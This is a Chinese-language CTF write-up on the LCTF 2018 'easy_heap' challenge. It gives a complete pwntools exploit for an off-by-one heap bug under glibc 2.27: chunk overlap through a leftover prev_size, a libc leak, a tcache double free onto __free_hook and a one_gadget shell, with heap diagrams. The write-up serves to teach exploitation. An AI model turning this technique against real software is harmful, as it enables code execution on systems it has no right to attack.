xp0int Posted on Nov 23 2018 这题是off-by-one在libc 2.27下面的利用,各种限制非常死,包括分配chunk只有10个位置,而且size被固定为0xf8,漏洞本身很容易找到,但是利用起来并不简单。 把这题拿出来的意义就在于:这么强的条件限制都能利用,那么其他题目也就不在话下了。 以下先给出exp,注释写得非常详细了,主要思路按照[LCTF 2018 easy_heap ](https://bbs.pediy.com/thread-247862.htm)一文来的,再补充一些个人的见解。 ```python from pwn import * context.log_level = 'debug' context.terminal = ['tmux', 'splitw', '-h'] libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') p = process('./easy_heap') def alloc(content, size): p.sendlineafter('> ', '1') p.sendlineafter('size', str(size)) p.sendlineafter('content', content) def free(idx): p.sendlineafter('> ', '2') p.sendlineafter('index', str(idx)) def puts(idx): p.sendlineafter('> ', '3') p.sendlineafter('index \n> ', str(idx)) def fill_tache(start, end) : for i in range(start, end): free(i) def remove_tache(start, end): for i in range(start, end): alloc(str(i), 0x2) for i in range(10): alloc(str(i), 0x2) fill_tache(3, 10) # create a unsorted bin such that it constain 0x200 at prev_size of #C free(0) # A free(1) # B free(2) # C <- the prevsize of this chunk is 200, we want to reserved that to do overlap # next task is to make #A in unsoted bin, #B occupied, off-by-one on #C and free #C to unsorted-bin # so that, the occupied #B will appeared in unsorted-bin and considered to be free. overlap! remove_tache(0, 7) alloc('7', 0x2) # A -> 7 alloc('8', 0x2) # B -> 8 alloc('9', 0x2) # C -> 9 fill_tache(0,6) free(8) # make B occupy as tcache free(7) # free 7 in unsorted bin alloc('0', 0xf8) # B -> 0; off-by-by one on C, C->prevsize = 0x200, so libc consider A.size = 0x200 and free. # fill one tache free(6) # overlap appears! now B(#8) is in unsorted bin and consider occupied. free(9) # clear up a bit remove_tache(0, 7) alloc('7', 0xf0) # A->7 puts(0) leak = u64(p.recvline()[:-1] + '\x00\x00') libc.address = leak - 0x3ebca0 p.info('leak: %x' % leak) p.info('libc.address: %x' % libc.address) alloc('9', 0x2) # B->9 and B->0 free(2) # free one to hold the __free_hook chunk free(0) # normal method like double free in fastbin free(1) free(9) alloc(p64(libc.symbols['__free_hook']), 0x8) alloc('0', 0x2) alloc('1', 0x2) alloc(p64(libc.address + 0x4f322), 0x10) free(1) p.interactive() ``` 再贴上一个Auxy在文中画的图,这个图非常重要: ``` 合并 Chunk A: +---------------+ | size: 0x100 | -> unosrted bin大小 +---------------+ | fd/bk | +---------------+ | | | | | | +---------------+ |prev size:0x100| -> 写入的prev_size +---------------+ 合并Chunk B到unsorted bins: +---------------+ | size: 0x200 | -> 被合并过的unsorted bin大小 +---------------+ | fd/bk | +---------------+ | | | | | | +---------------+ |prev size:0x100| -> 原来的prev_size会保持在这里 +---------------+ | size: 0x100 | +---------------+ | | | | | | | | +---------------+ |prev size:0x200| -> 新的prev_size +---------------+ unsorted bin现在的大小是0x200, 然后添加 Chunk C +---------------+ | size: 0x300 | -> unosrted bin大小 +---------------+ | fd/bk | +---------------+ | | | | | | +---------------+ |prev size:0x100| +---------------+ | size: 0x100 | +---------------+ | | | | | | | | +---------------+ |prev size:0x200| -> 0x200,刚刚好可以用来overlap! +---------------+ | size: 0x100 | +---------------+ | | | | | | | | +---------------+ |prev size:0x300| -> 最终的size +---------------+ ``` 这题的精髓就在于如何构造overlap chunk,因为libc2.27里面新加入的tcache机制使得double free类型的利用变得简单了,所以只要构造一个overlap chunk然后通过double free就能返回任意地址。 而想要达到overlap chunk的目的,我们需要构造下图的堆布局: ``` +---------------+ | size: 0x100 | -> A (unsorted bin) +---------------+ | fd/bk | +---------------+ | | | | | | +---------------+ |prev size:0x100| +---------------+ | size: 0x100 | -> B (inused or in tcache) +---------------+ | | | | | | | | +---------------+ |prev size:0x200| -> 0x200 (之前unsortedbin合并时候残留的prev_size) +---------------+ | size: 0x100 | -> C (inused,size本来是0x101, 通过off-by-one改写成为0x100) +---------------+ | | | | | | | | +---------------+ |prev size:0x100| -> 最终的size +---------------+ ``` 这样我们在把C放入unsorted bin之前,程序会根据0x200的prev_size找到A也位于unsorted bin中, 所有合并的条件都能正好满足,所以ABC三个会当成一个长度0x300的chunk被放入unsorted bin中。然而此时B是处于占用状态的,由此造成了一个overlap。所以核心的思想就是构造上述的堆布局,其中还需要对tcache反复进行填充删除等复杂操作就不一一赘述了。 ## 总结 利用堆上面的漏洞,尤其是涉及unsorted bin和off-by-one等复杂场景的时候,往往要抓住一个核心目的:**构造overlap chunk**。而在构造的过程中需要控制victim chunk的prev_size来绕过检查。这里的难点就是没办法直接写入prev_size, 要利用unsorted bin合并时候残留下来的写入来达成目的。 构造overlap chunk还有一个要点就是如上图所示,有A B C三个chunk满足以下条件: 1. A C大小都在unsorted bin范围 2. A已经被释放处于unsorted bin当中 3. B没被释放处于被占用状态 4. C是victim,我们需要改写它的: 1. prev_size使其指向A 2. size里面的inused bit(往往通过off-by-one来达成) 在这个状态底下free C使其放入unsorted bin的时候,发生合并操作,A B C整体被当成是一个大的unsorted bin, B既被占用又在unsorted bin当中,overlap达成。 打赏还是打残,这是个问题 赏 Wechat Pay Alipay [Pwn] Steak - Cpt.shao [Math] C8: captcha
没有帐号? 立即注册